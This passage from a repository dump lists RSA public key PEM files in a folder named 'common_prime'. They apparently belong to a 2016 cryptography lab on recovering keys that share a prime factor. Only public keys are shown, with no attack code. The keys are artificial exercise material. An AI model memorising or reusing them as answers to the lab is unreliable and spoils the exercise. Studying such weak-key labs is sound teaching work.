XFfostPed1cWGxLpkX37wdhcuS2kKmGK/R6jmK4ufZC2KnmreSHvdwd8f3JS8KmZ 5 | a1iCRITVcFAyOjmbPsMqNu1QXu4s6nSUbKgKCVQgVgjVW5HX2EkCbwrCyE83sVpf 6 | NmxOrXW+e7Lni/ttsfVriC1UV4vXzW43xYqgSzgOTPpXrRjj8L+1jl3nUtp+kRI3 7 | 2ZRa0swo3SNLyiUVspR+NTLSXnp0P7cpPWhN1Y27yTH5ydH14TQxMWW8O+oPNUeC 8 | TwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/69.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyFZqn+n6sbOknjicXI3c 3 | slAX7UWLNPsLCZ1UZy6ElNFv9UqTapsYVBWBnSPE/kmW+u0hrkfrJxw04emYeg6E 4 | sF/x7Uq14nRBpIYCSfzeBX3PF8509/+iFtwkcAI/+V2NCk9ZyxJcUX7J6Jxu/2Kr 5 | KMhLNTWxn4UAvZLBbu5fVRIVUFtxB2SbJ39oc5QOvyPHrpKmhu/iG3oxX+kFyn7S 6 | FYyWuUO3VEXiH2jkgXYF07yaTyRYrWECIUNykD53ARxc4+J6XBB21tKzOVoQq0VH 7 | t0qnts5BkhEKYD/OYukDNMHBTG9tTxzjcJY7R9Hm/+PxjcojPV9uKK3mcrmOwuGB 8 | fQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/7.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuhxmtM52rDbN7GdgcxZZ 3 | LWHUuGKThINgqy8GMBHeY1NkFJF3z9mmf74bIVYpejbWMdggA59Y3aqmXbKStmmX 4 | SnmQJcIctNkdSqpunL0CvR7LRBt7Dgd+T7daFQLLX9QxEfAhzhzUUuPyFTlaeWFr 5 | rJW8xY6ow1V7fxfayDOq9O5k3EOvEpz9iL8UX9Mc5NhooGC9c052rD2LkkLNZEcf 6 | IF8K7QtfQIdV46Dz8IcttAo1/HBvZ9lMW5ZuOGN8SzphI74DlLmpvYc/DbshwsJK 7 | qunM07BS50kLe0HqN3c6K68p7PS2HCRGsdQJPIspQln7S71xMLUG8Hvz+IhNfNju 8 | VwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/70.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA47NVGlk9nBnC/s7AUzw4 3 | cluZ7NUGU/ubboARIAXBxbbuslmIMg3T/5DfylBIf9i0cn5Qs/sAHd414G7B+F+U 4 | DjeoA1lRDaAJSNcod1OAo3b1MWtjWP51KAAKuYy8SKTBbwPDy5Iiopd2Qq57WanS 5 | PjcfnM8JNji8vzY9z0psbZsHPCZBeP0bsWRC5lyoBllPFfr5VmVXsZ1Uq7TbZdat 6 | KPbZpfG+0FZq+8zbZWZ1nOwRuk+zE/sgwaaH3k7URjwqH9xivr6Poc0amEeJy6Qz 7 | asKHr6I5KfXyuzQqGH/XeO+mN03zA/Y5Fj5CWtxSH49QhBjvDKR3IqTD9RCqcRgC 8 | 8QIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/71.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxelegyTYvhLKFqIJSG1e 3 | ME5qkyypgBaGj/Tg/n3tSweRBWWFz30UgCrJb71g/eou4WN/c2VueHj0Fpgmv4rS 4 | rUH4wD300CWfMxAgaoc4SCq6HqfoGseHKJEq54mBEEdRg3ByYlydkk2P7wVQ4A7Z 5 | e/dB1Ji7BXBJ+0BJTR1l6ASurIK9T3yGx/AfW84PkPgcw6+xtyncQD1enUwBuSE+ 6 | WepNomcvwLIsYNZpptm1E57OawMAfAqkMfjMzLuH76bcrs0WFstUSfOHnadk8Ckm 7 | Wcm9TavOW+PN+K0vr1+vY1TCplqDjQDr4VuByyFv7dZLkpQdO+ryjI52atLgV/tA 8 | YQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/72.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnA8sBdEIVTXFlusPj6fl 3 | e1mK+Vt0QU+at5nTkQAwMGNzHupPF8559VniCcJ+MafPX05Cn9XDKQIJLq5lTLXD 4 | gHAJUJl4i3liDWGAVAky7VhPek7TSI8lY5+uZ0VChsm3da9REH0IinLZRxbiw/1C 5 | peni/6JF7I+wX8yDUccbw4AsTe3/mZopNrOe5JhYJZDTN3NzBny2Q/OVBHLxudr9 6 | P39RqlnLCl6cQNq7Qva1dGbEq7qGrCsGo0zFcQIhiLhI0LdTHN0wrz7BEyNXREh3 7 | 1KeGveGk0y9nWISed/fZX2dhj9d5Ei0MgaxrEJI+K53jcfDg/bdd493miMq7uCUg 8 | rwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/73.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1AUzun1JBy8dN10BUW0H 3 | qKfNOH9nJTeid+0KxvBqukFLNlk9MUz9jvFqJJJ648G3CFO5PDcs46gFY+njMS3z 4 | cfwbA4bTpTRY45sGdcxfie333ORccy25i7ICxrfzUhBEE4HbOaQCrfG5wxmFgl4I 5 | zaJ+VDEvXqtk+EPXR5NcokM40HCRU0ipIh+jk5qcP9uJFdSob+D3Pgm2ZrCcech/ 6 | k1Cr5dFlOam0oYGrfRj4MrWgTqc0dPbO3pj5awgGgUKUh4TtPumoahs1p3gU3hIZ 7 | ORaKGbuzUzMC1vW+hZ8AjR8mHLzK9+pJNlIUzxfHcOG8Yaw2Fn+8EATKrgGS1DCt 8 | HQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/74.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9kUi/e2swjYBjdOo7+Pd 3 | aqPVZEKHc+FCpGG4dkHYXrfrpVcognPD4G1FQCVGlWEoZeuR+oh40KlhVIqXsE+x 4 | 0zXg5UbpGIn30bnFhFPGIgFXVj1O+o6PNr2mDoSucD9Q9hfjUqTrvt7DUjx64Apa 5 | KxhtIMuA57l6e/VgyR2u6kgZ+64unLekwsoR7qAUFl0qnG9PSxWJrWapqBpnzIW7 6 | xL7fvbnYyHC60SaDO0zTy0EWLZIkaEwibVwILCg2i2FAt2yMaOAzVXNQw+F9bAka 7 | tg8pyPnetXa6+BZyV+P6n6+A8RGcNnT71Q3sqM1jg41FppC+SLSbs0cg2Y2WeXgs 8 | xwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/75.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApP/mWy6TE3B9yXLojd03 3 | AmP3sS794PzvQjHEOZNjyJXAEh+NZfxpBHsci2VxCCCG94QIhQ7AceY/3yVgPCXN 4 | d/29RXaqdfH8R2uAtpRrEUvbvmrNHeyxNpivUD+XnmK2Prpluh8ng0smTRgJrT6+ 5 | GAbIzbJKDMz73V7MmdJCoAPnB/3kWZnfVoQTA4pIO8QppMGxldhSeKCS69OYmzww 6 | 8hHRTYjdB7R1gel/cYLGXKVJpzaooX/lqxEfMVTGoMaC7KE8PcZb3jW63bO6jf9z 7 | FZAfoTwmlTw8BEfogrUOrsQHfRutPs+kK2HDT+wNjNxV5xlzoFBPDcaf7A53QEKA 8 | KQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/76.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyg8xhuJYJ4A6rLReNZnw 3 | FlYo/irXW1rjYHtqCdIVFr1eBgWOBiFaRfS644Z3v0h74WX24YuFhvoYetI3bc98 4 | XV4j7xCKj+xEID5yaFqkoZY3gIeTdUFskU6VnocnbdradYDqsVHJmQ0zjUzbZF1p 5 | O9wzzOhLFOHjQAA1mOORPLrR1Zr221d6RGomNKAurn9tf8sc9zloUl00wyJ29sPW 6 | rjT3SKfJI1XuTWE4EWjS2bJhUOJ+Ft9W3/U7+g8kd2jQNxr1dJ1k2/C1bNaue6Oo 7 | uFG2VFbVDsi05FBuCcLZZk2Nvhy89QIGgYm8uzGplIBmPfjfu7WCA9nFhwqEFz2p 8 | TQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/77.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqR8xpT7D9xV4RkAp7tzG 3 | kfiY7TdZL6HqSKIZeBugQJZqsOiivQ6otvd+95uoHkedzlwgY3SFg+K+d9tXYSxI 4 | 0A+LJTZEQztyOropEuAN1IemszUCvw5nkLg9aZtZxh3pWKNAfPSJzUY5Y4bDF2dq 5 | UlLBUBkp9VRNkUBM8TuQvgvL0AnU1uKzTJqr6lV3ARUtySG5hTOSc14emVYDbAZ+ 6 | vTVnCTDnbGj+1yr+GbJoO/PS9Nob6UJZNaHv4Bih6EfAnxBAWWMuaA+fQjS02uW+ 7 | aHevE5kiC7e0MXaPKIXdhHVtfrpUmr1lpohK0mVnC+Nq4WUVreln07nUv9OojmDp 8 | tQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/78.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0TpnEsY3Y9fSR5MVtE6/ 3 | 0MtGNlKuevCOFp4IEobWUK1UvvFa/xVsjXnjbAD52j7gwR3/niL7jUNyUOGAlQSs 4 | F/3Bx8y+PSEwAFklnXFSzKLykzHXRuNt8yPgUmKMwJ4u1PMGSVWjoX4DsBbZj02a 5 | ho0KaxsrVDxzNtthb/LMC8k4lqAQ9AYaszV0Pjf9DPRKFNZAjO+NL3mD0gQuCQ19 6 | mP5+CQHsOq9MCZARMh6DQzeFQV4zQ/6hwsYFGf1Bp/Rncj8E7B6toY4nCSA8Rb5h 7 | uM+Pvb92ks8WIS9fgOvd1tCvQWewAD18RLvNJZT7vpPCuz4Cz0w8VUt/8qaQQDfy 8 | zwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/79.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnbrVg7aTn2Clq8WJXY94 3 | WkRXWuNRuueC4+PrucYoc/aF0DDvHeCKbXV87C0SNPXLBJpaIXiU7d3ENWAB13XP 4 | 9FuUxLK6rmI1be++KK7dXz3BIGRsZUAu7UWwtviQn+uymxZnthn+Fc1F7x/9M3F+ 5 | iG6isPUhVOVrTendcmTJgTH8ltHIaBYqOHxVOJGWqH4HzS3nelxtkx8HeUMs6qOa 6 | uccGDGGSWz/VeG1FOT/AJnMOLqxi1Jb4GGGpcQ/oYj6+xiLKqMZXwktQGQgkjZbl 7 | ZHVQ7TCrwNLrHsIJ6yR9owNfZyJow10l3ehNS6OQlngulx/XEX1uxUg9vDixCrfH 8 | EwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/8.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA55/KQsQKrafqaqVyjywF 3 | mlIN13JpXRW3ROiXdYUh8c66G/aKZhSxRwXZPth7HApsfWDmXdtb65SFvSTuLdhC 4 | Tc3bwAnYMbR3GysVjBtoT2UIFqwkXkNukvWLxm3/C+iVZjQ/v88zY62HdtwG0r42 5 | Izj1HaYHRRKHx9cWJtsD/lw0JuV9ryF9VE5Efr4Eh8/uSAsxHtso6l4Dl02rjQz8 6 | u5eyaMpzwDhnoiT6cAzs3GfWY6UM5bL+WX1Uscw6CT0M7Odgr4tOAANfDnC0whNF 7 | CTVCsWGRkkWX41BmZ3NgEuZScFeOknAeT3FyvgwpWaaEjVQLHIQkkDnL2U/Ihe/r 8 | IwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/80.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6N/HgZg5PXGCApKVZzae 3 | q6baYYk75hu55hafd+oySQ7HrTCm5vvSYxzvEAwfy/r5WDVdaGCou7UmsJetAHO6 4 | Ml9RfN2vts+ppWfrdS7zS6xpRsEv6ycK5EgcQFRfL1n8/FzkFE4W5mDTYPikK0AJ 5 | s684BjI4misvg+dacrvNGqQVomZwi2Ryi6VVEkQfCLGGcMhHcjxd+0R3m0OVU4QT 6 | y60T+pbKkROAsJct9e0MWrhA4HxXx71K6RejwtqrM10m+H++QZN4m3slYOxRCHze 7 | obOx/1r/XuhFo6bqTxy1XV2SUza2CAnBr/5xg/54M2JajW5hvANz+8BxAh1QKcdj 8 | TwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/81.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyHIXrtMwKS6fdw0Cuk07 3 | WZwtxfeYTecMc64xSfkaFZE4zU482brLDM3BcM+WgmiUAahkMDc31YiEpOAb/Bvc 4 | Le5vWpEGi4Ec3SVejbTePk58wPZFNozjkFz1ZVhyStiuFHcG+niNO9XXH+LXy/uq 5 | U0DrkcLqCCaoXfAbp+PypTjmg8qnV4vMP+dlLNb2t/zOhx2nyuU1TXHrtwYgU+Vr 6 | Wp57yOWwqiLmQMfXzf1xsrMeXExOJ5n25JkC2OkoBLvdUMbP4hNnNso53F5Vhurq 7 | EChvgk6K/ZwbbMErC26CT2rDOTKA3hbUcEjv1IYhpEv0BS9/BCZyBLH6jAIeFDkp 8 | pwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/82.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1nkL1kOkXGY4C+K2oL0f 3 | 2NJcY4i1RroCnQ2vhBPazfFXuRk1s8ubbg47EKQgbc9wXntbTPP64xIw6ZMqbtx5 4 | 5v5jPldAv8DELFrkkP8QtvkTilzpza7+mZnTRtKdSesuc4tj4yO3uKZuk6LBMzu+ 5 | FUBbUpTY1ZxXdsXPgHKxez7OuaG4gTVPt2rQujW2m/bkYlX4JkbX2mlbAtEuCFj3 6 | UVhJMQrwtt0mPwGGpRuOwiMi7lEzYSctiG26BwOkL/RaB2BEM5covNEXEEw65c5p 7 | sE9PebEKqjwzJ8MN59HWfFeIRlKtBsS3SpAyX0c3d73TC9VN4a2qck7D9bRJ6XfY 8 | XQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/83.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3pNJezLz4sR+ja4bu/OU 3 | LoAkZ1vRwy+Ie7JeFo90+drpj/jcv5isE5LAcRqafzkFs22Rxy4D3454q7cZxmuF 4 | iDMqE9MJBmoOglgE3v2ofj1JlJnuwDkjt+c4ESGU13++zVaxx7wwnvEynxtb6yXk 5 | N1hGtNouwqtYR94jH+3Ltsi98bhDFxe+SgjOrqi3qaZaHYqnQrFNBq7XY1md5wah 6 | YiEaYlhd+9LJesXuVwLgE/mm+mowX7FiNQCpEKMvxmTV+ZXHA8bLr9hhIG9zFo+h 7 | OezNBPfo+IrRVRCm44ijFhkAzBUT1B0nsg7Tqjfq0XPQRUVb2eL6FKItwetCBi1+ 8 | xwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/84.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuvPm2V38m7luRQcChMYY 3 | LiCHcudAbqqGZJMENcfmBwYVcCCjkrzO4S/9iHbes0YRASxER2ad56TzxZBKgG1N 4 | t6LD1djSXcNgWG7GdXJJ48reG+StBBsefXov3TLO8p5/c6P+TmI5oZ1JcwVTdMNt 5 | BmiU0tuZyPqX+bJGawFqEfPsWQC5Z9uIsP8nXDMFsn/RubV3DnrtLa/S7chrD7dG 6 | 9X1FkGw13bpGaddIdLp8db6ABY3wHMlbasvqysao13qiVAsNFuOHo2mwa0kJ4M71 7 | lac2QlK8JtTDGa5x05ZUkqPjWMo2wGnzwrub0fkV+8FP+c7TVli9NTXwM9TmTiiN 8 | rQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/85.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwHBt/L1nfhBewp+YjnpN 3 | acr6Q7FQAeMKJsjf/NVH7sFknDsALhppBC3/NH0HPtol7U4WpNUSIu+xxDYmzYDU 4 | Wmfk4Tbt9hMUGegXJ+ZDl5rTF5jVxkbhv4I9TFcT+ukLttWJIRatmrskHsp5/0g6 5 | cFC+3UiW00MxZVk75FpWgCr2T7XuQg/HUX768qEJVxDgLTkK+YScZqRON33N4Gw8 6 | 1qAp0BmMi+UgsDmGmd94StqNT6DDp5Ca3L8jFy1aaC/uaKTdjKmc4+u1vxEt+N0X 7 | 2dlNpSfWVOT9F9X93sQvjF1vfCAQWss/cdfgBDRn5nd+9DqP2pDiFpeBR4B7NmRm 8 | WQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/86.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA62GIn7wJFVqN2spJl2Df 3 | R7qnydNoAEFFMMh8a7guuUFwUxoQ3oHoyrZw58nfG4/JMJoM2O8XUEt5HCbArked 4 | 1dOLuFtQBNCKSh6NUQbqeECiU6hSJM4JoBI+JWhxL7Z4uCOugRLDqGcflY+cTrSc 5 | gtNrY2Cgo747VDPd8r7kqeJrZFZUPIaFJclDgcqrTWjC3Fp5dt/qATLmmKaG3lDq 6 | aCLzKnQVkH+GhEn+xdotz3SYtGSkiu24+jAwOfvxVETpLrYAu0LG6hwR05Tqu6HT 7 | UXGE/JZHnyufuDgwDs7lY4SVwaYyttSiHocZeMh3/GxfONahJotz0zfkZQoGtscN 8 | FwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/87.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuhKuE80bvu608oQwnB4c 3 | TAEUdejgWAvZSuPRKnL6TzrTRy5ShiV5/s4874nF3OPW6Li2aH6kvJ30rQOYbEm3 4 | fv7pPobgAkk2nNRjPg+E+OIBapgyoDMmOYvBHGS6dTyo9l7oQ+eVVX1Z+dsXO9T0 5 | 6w3kJt9oSSeKFB9K4lyMX/w2Q2UlUQEEZhgdyU7JFXTe9chCdJmTPJJdR38dUHNA 6 | HIUdcrKqhQMv5ArXP1dgmTcd1I9E1Ov0gGJEqfLHsXiBk1rB3dxIw0nke62OtRtr 7 | U7exZPXb9n0nbaYddLHtXRy9zUtUzitDaPSALjwn93dfMpQ147kk59afvjjeZ00M 8 | NQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/88.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnYEnRairGCTEZ/pz15mP 3 | 4/XxCMVeAyRDJHg/jBEzHNsy+31ius4wYLtjeGoINr+4nB1AHafh2hCFHJaENalN 4 | 9OsCcbVuSi9emuPNXWSMPGNjUDWsnC18brYALVYrcngf9efbKxP3A9CgH6U3rta7 5 | mAvovpnVXMY2Rd5XtmiTpOcMDMU5H8ueEV4lrWx1NMMjYX91nVeyQ8NCg26It4w5 6 | 7FPWlVQyTuj/rkWMt88xTgTPtsUmqdpVGB3g1pZQ1lngIDkqa+sNU1VGy1683Rat 7 | tPXhGoMK2pva73dqa1HEKm9pwubnfXng3vd+oPw8MvWrTjx8x1tqI/Blqku0DiTr 8 | vwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/89.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt7nG3tHdxArYN35uLBcu 3 | igXrAQN//XRaa9izIaBCFVs0mzyjIGkmjsRm18Bz2UJAOmQRu6BNDaYxpxRVJIWZ 4 | JCxzTeeMjiHokjtCPKngtuhv085g8VJc+ua38RUZ0qlPXzWhfM49x3bSA8rX8R0m 5 | Jp8DJi5lAhqCsN/XGLfcUoCqYjqWasolLirdKiNyloTEJMynlpigy5fr6PaS9MrG 6 | ks4qeA0ZKHi3Zvfj2GyXWqjD0ItJmokhmLPzF3AYx/IA9sd5zbNlnJZWVG6cnCmn 7 | U12MScPhrfujC0t4fKBM0J5MzwpzLRYKtqC+d2A1s+r73iJJLrmc8KQJ0TNEATWy 8 | vQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/9.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr8XlFIIzGuLzDdzvXhyB 3 | 9PbsI/taE78f33KHNI0734+OZt0qBKZlhh8czHIZonG+vdFrV4Y6unym28slSIPu 4 | 8AHzNmfTgxWVAcbeuO97RqGi7CiTdKA7kh3X3UMijh+fh/f/Yq1/TrJeWekwGRkx 5 | iZtTX6u+EtHUy1dUTzU/OGefe/X7Tff/0+OCFYuIL7ffeQ6TTjR7KS3lXexhFyCf 6 | kIvJVkdvaUAgINTcdhvLhtIZbLBzg1x+CCHstA45a1rO1anEf2zqm9sy0abD0kwL 7 | OuWq5mAmWOyZz3aJVIajqkOtM2mgoH/mBk7RD/eewwiuGwWr3L1DXAS9/+mqrbLI 8 | sQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/90.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvoI0eRuCVGDmTgPfHygA 3 | +jsvffknXPAgV0HQdDC6ntSdKG8Z045PYj+Qgv34WTVcirrVDqQTflP+Yt/6izyb 4 | Frbx1aCwPDTLODlRiHLqru+DtVQZ838HMejwUOl9qhIettYF2wZ0IbzsxYNRMGTu 5 | Lq5wWoIZUOiYw60yB8n32aM94uDy7tD2BioLe/10E+ymRah2QM3fXKeRpRz4AZAW 6 | EwCMTu/oeOxwqtmJzxd2xggXodCikE2OMaXh/WryEyEBaNCW6UlmuR0UIUa4EFD2 7 | Dtrey2jVXze61kMS5ym3lXB+OK7JQWcxR77225yOaw/vGztUAyMJVnL4k0yeE/ox 8 | ewIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/91.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApPCyV3+6H6pSCg1bCUbZ 3 | 4tJT8ossoRXvGMdjbZwc19kAfTe/Df0MHGlWG0A/EtceKXP85uaQMFh24fqsxekF 4 | cRqGWvRcLgl9aum89Sx0/8ZntDBIfwEgyn6WX79hz11A/qgLLyXYkKCsb4OLUxoR 5 | jaC541r0D0yO520IpWTFDVO/HUABBBmzweDJNB3DL09n0V/xr84Mv6smRdMOyGVx 6 | OwWv3U52hpx/6OhpQN46LqeijEixEUX8KUPc5rPQJ/+udKv9AyXuDJr9gh/zrpP9 7 | PindmUV18Qeo+5BaFHhzyCHd14KFqsb3BYB4JIihnXrGjP+GcnyLjf0EuT3lTenT 8 | vwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/92.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwCkCntg66lUbP45NsRm5 3 | 2Ki+enHlwF47F+q8F0f9yYJLIqTPsLQlbA93DpzHNcRaiRN34yx7gsZTPv6hXypq 4 | QJiFJYbNyRTosaz0A210E9domOBvbqqI8tMMwyz4cXd7wIh+GqoYTwXnMLUH9lsB 5 | I0D24A2w2/P+Gi6i/aPRHPwsc5P2A20FDL8isyr133lQ3VwJnS5sCcHxtjte6kxw 6 | L6Uz2n1dLAyiyKfLrg84dkuSOhNtP0rtpThx7ZkXXfauVhBE+Pn+u4uMswHxGAM3 7 | um08cvQjvAmU4NBbs/AQJeR0eIWbvYM4qrGm7fJBdQL4OeBeXuukOhBSrT5AxQCY 8 | 3wIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/93.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA50XORDIvqS0AOeQMG7Ho 3 | +01GyCR9tSBJMxclkIVUUUghzJyoBTmHZFI0GN1q9RJPm/Hj1YoewsLZxWalq/6L 4 | YK1K0J1yOxPaETLNG7XPl3gWdjFfsUl59Sp1cCWfUkpV6P18BnZrCLzkXzwLqqnm 5 | 9GaDrnYwefsfUK4y9vjJeewBXMb+DThOh3ERQA3N4gIDaTBrkc6F220Fotf7ihFl 6 | Ptr0M705bdb1EjFhR3v5NHXnsm0JSDedrdMwkVOHVqQYA5IMSlnAs4sACjXj5G7n 7 | BHEGJt8gHM2/f9TME0xQIeIaIw11T7Jc0ez2yICLYITZQ6Spho98r3datsnE3k7a 8 | NQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/94.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzakjCyPj979grijbHqrm 3 | 1Oof+rj7RX1/EeM9OpPLLItrQXZ6HCK1QDhU2TMiL0tp8NhYcCXlz2+MDCfHGwWR 4 | jIAYOqCiPzDfZNzPszjel9+aofHvrinziqLW4eTY78stv718xAPKMO+qdxTqGx78 5 | cV0YtEwKdiNHmPgltrc/hOvU1ewNScPaCoZ2T+Vg4IGIDIFhvjFDZvhrFIhKOfLk 6 | e8vgBpjIEZI9KtaOevBHIbRmN87BMGCGW+RA9nJh/frXQqVCa/4B4kzWaDy3lBFo 7 | /8oQmkf/uzV5Vk+GhIo0P6BsyKhIDzlMEnyRdQpxJP4wN8EqkOklxP/AiOShqdXH 8 | WwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/95.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1XFSIGDFo36nCT7Drrlh 3 | X6RcnG86J92WYTs+MvvXFhYpaT9J7h69oyyhU0K2QS3Q5yYwc4J3d+vU0BhU6Y9v 4 | 82SFkIpJmwEqiYWM3pq0v83eWGH1o/baKD17wXIHjGHeYsKl7nCfYBWRG36qnU4y 5 | vbyQab6Qr4G6OyiHxnvPS2zTvK2miukka+cxBWPXxe++A+ajhyoabqb2NqQqeq1+ 6 | L9tmZ4RLqBITIjBsa+u6ubChF+iAMhBk+BQu50J3bBkdfgW49L4ZndZjFjWxmu4x 7 | gquuI5+kB+0v1U9pX0otx+1/A8sM26sNvBBIO9pJcZtNpN7pJWUjuxQ72iwRC8j+ 8 | WwIDAQAB 9 